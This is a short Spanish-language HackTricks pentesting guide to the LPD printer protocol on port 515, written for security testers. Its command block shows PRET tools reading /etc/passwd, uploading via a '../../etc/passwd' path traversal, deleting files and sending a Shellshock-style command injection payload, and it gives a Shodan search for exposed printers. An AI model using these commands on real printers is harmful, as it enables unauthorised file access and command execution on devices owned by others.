515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

Introducción al Protocolo LPD

En la década de 1980, se desarrolló el protocolo Line Printer Daemon (LPD) en Berkeley Unix, que más tarde se formalizó a través de RFC1179. Este protocolo opera sobre el puerto 515/tcp, permitiendo interacciones a través del comando lpr. La esencia de la impresión a través de LPD implica enviar un archivo de control (para especificar los detalles del trabajo y el usuario) junto con un archivo de datos (que contiene la información de impresión). Mientras que el archivo de control permite la selección de varios formatos de archivo para el archivo de datos, el manejo de estos archivos está determinado por la implementación específica de LPD. Una implementación ampliamente reconocida para sistemas similares a Unix es LPRng. Notablemente, el protocolo LPD puede ser explotado para ejecutar PostScript malicioso o trabajos de impresión PJL.

Herramientas para Interactuar con Impresoras LPD

PRET introduce dos herramientas esenciales, lpdprint y lpdtest, que ofrecen un método sencillo para interactuar con impresoras compatibles con LPD. Estas herramientas permiten una variedad de acciones, desde imprimir datos hasta manipular archivos en la impresora, como descargar, subir o eliminar:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Para las personas interesadas en explorar más a fondo el ámbito del printer hacking, se puede encontrar un recurso completo aquí: Hacking Printers.

Shodan

  • port 515

Apoya a HackTricks

Last updated